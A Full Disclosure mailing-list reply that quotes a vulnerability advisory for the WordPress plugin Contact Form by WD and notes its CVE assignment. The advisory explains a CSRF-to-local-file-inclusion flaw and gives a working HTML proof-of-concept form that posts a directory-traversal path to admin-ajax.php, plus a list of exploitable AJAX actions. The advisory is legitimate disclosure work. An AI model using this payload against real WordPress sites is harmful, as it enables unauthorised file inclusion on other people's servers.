Date: Mon, 29 Apr 2019 18:08:04 +0300
From: Henri Salo <henri@...v.fi>
To: Panagiotis Vagenas <pan.vagenas@...il.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] WordPress plugin Contact Form by WD [CSRF → LFI]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

On Fri, Apr 05, 2019 at 02:02:29PM +0300, Panagiotis Vagenas wrote:
> # Exploit Title: Contact Form by WD [CSRF → LFI]
> # Date: 2019-03-17
> # Exploit Author: Panagiotis Vagenas
> # Vendor Homepage: http://web-dorado.com/
> # Software Link: https://wordpress.org/plugins/contact-form-maker
> # Version: 1.13.1
> # Tested on: WordPress 5.1.1
> 
> Description
> -----------
> 
> Plugin implements the following AJAX actions:
> 
> - `manage_fm`
> - `get_stats`
> - `generete_csv`
> - `generete_xml`
> - `formmakerwdcaptcha`
> - `nopriv_formmakerwdcaptcha`
> - `formmakerwdmathcaptcha`
> - `nopriv_formmakerwdmathcaptcha`
> - `product_option`
> - `FormMakerEditCountryinPopup`
> - `FormMakerMapEditinPopup`
> - `FormMakerIpinfoinPopup`
> - `show_matrix`
> - `FormMakerSubmits`
> - `FormMakerSQLMapping`
> - `select_data_from_db`
> - `manage`
> 
> All of them call the function `form_maker_ajax_fmc`. This function
> dynamicaly loads a file defined in `$_GET['action']` or
> `$_POST['action']` if the former is not defined. Because of the way
> WordPress defines the AJAX action a user could define the plugin action
> in the `$_GET['action']` and AJAX action in `$_POST['action']`.
> Leveraging that and the fact that no sanitization is performed on the
> `$_GET['action']`, a malicious actor can perform a CSRF attack to load a
> file using directory traversal thus leading to Local File Inclusion
> vulnerability.
> 
> The following AJAX actions are available only for the paid version of
> the plugin:
> 
> - `paypal_info`
> - `checkpaypal`
> - `nopriv_checkpaypal`
> - `get_frontend_stats`
> - `nopriv_get_frontend_stats`
> - `frontend_show_map`
> - `nopriv_frontend_show_map`
> - `frontend_show_matrix`
> - `nopriv_frontend_show_matrix`
> - `frontend_paypal_info`
> - `nopriv_frontend_paypal_info`
> - `frontend_generate_csv`
> - `nopriv_frontend_generate_csv`
> - `frontend_generate_xml`
> - `nopriv_frontend_generate_xml`
> - `FMShortocde`
> - `wd_bp_dismiss`
> 
> In both free and paid versions, there are no-privilege actions that can
> be exploited by unauthenticated users in order to include local files.
> 
> PoC
> ---
> 
> ```html
> <form method="post"
> action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
>     <label>AJAX action:
>         <select name="action">
>             <optgroup label="Free version">
>                 <option value="FMShortocde_fmc">FMShortocde_fmc</option>
>                 <option
> value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
>                 <option
> value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
>                 <option
> value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
>                 <option
> value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
>                 <option
> value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
>                 <option
> value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
>                 <option
> value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
>                 <option
> value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
>                 <option value="generete_csv_fmc">generete_csv_fmc</option>
>                 <option value="generete_xml_fmc">generete_xml_fmc</option>
>                 <option value="get_stats_fmc">get_stats_fmc</option>
>                 <option value="manage_fmc">manage_fmc</option>
>                 <option value="manage_fm_fmc">manage_fm_fmc</option>
>                 <option
> value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
>                 <option
> value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
>                 <option
> value="product_option_fmc">product_option_fmc</option>
>                 <option
> value="select_data_from_db_fmc">select_data_from_db_fmc</option>
>                 <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
>             </optgroup>
>             <optgroup label="Pro Version">
>                 <option value="paypal_info_fmc">paypal_info_fmc</option>
>                 <option value="checkpaypal_fmc">checkpaypal_fmc</option>
>                 <option
> value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
>                 <option
> value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
>                 <option
> value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
>                 <option
> value="frontend_show_map_fmc">frontend_show_map_fmc</option>
>                 <option
> value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
>                 <option value="show_matrix_fmc">show_matrix_fmc</option>
>                 <option
> value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
>                 <option
> value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
>                 <option
> value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
>                 <option
> value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
>                 <option
> value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
>                 <option
> value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
>                 <option
> value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
>             </optgroup>
>         </select>
>     </label>
>     <button type="submit" value="Submit">Submit</button>
> </form>
> 
> ```

MITRE assigned CVE-2019-11591 for this issue.

- -- 
Henri Salo
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE/aVSDznAZReWTkxKJ633pE6qdXQFAlzHE1QACgkQJ633pE6q
dXRuhRAAtcF4BJZKv7A1gZEjYMlAP9T8eY/TZPNShTsLfhOrMTcIhhKmM4XXh/+4
utOpHcfIVfwg4GkIfCTZOqluPuUdPUugWNz/Md47dbBj0z9pCz2pr0/wJESSLMe3
O3HEg1z0PtJchbNK2jHPWYQ39zDJsFoM1BE4xrvJiSti5aUFSifkTLsl6YcULoka
C34jWhMXSh3AmMKHIF2aUwZYCplkNvh6Yh1/3qwfrdqx2TiNBEt90tR5cabWKXEw
9i7RS1PnplO5xTsIeOnh96uIw1VpfC0y5/d+9ceGYZXM6lFYxW2V5LVgL4i66L3q
ITfk6PePS0viCA9QeYiqIL404DcrLfWqiwWjrv3kLmFmT5EG0OM5qSbWqNebYePB
g8cuK1zQ1+MzG1J+aq4489+grdHjTL0KRaIGbvmY+molJYQVkYb/DW/c/dUc8BeW
Xb0mL6H5qc9QqoJ0kQdrQX+FgBE/YF2+xWqVUYZhA2SkwjF6x3coiM9as/8AV7Gx
68QspjcjdZgTPrYM8wqsAzVfVwGnuLzJHMaDOM5swNBT3eHfKxZmsp6wppG0LXC/
jI0qsefMFr48e697gJCneu82BWR30ssRQ8kYjMXDaVUd9Rjg/isx1YvHGNPkJz+k
uPw3okzMcVONnxr345V45WxLs3xHyRICTegf8SMt0JoTJ33yPGw=
=YQbe
-----END PGP SIGNATURE-----

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists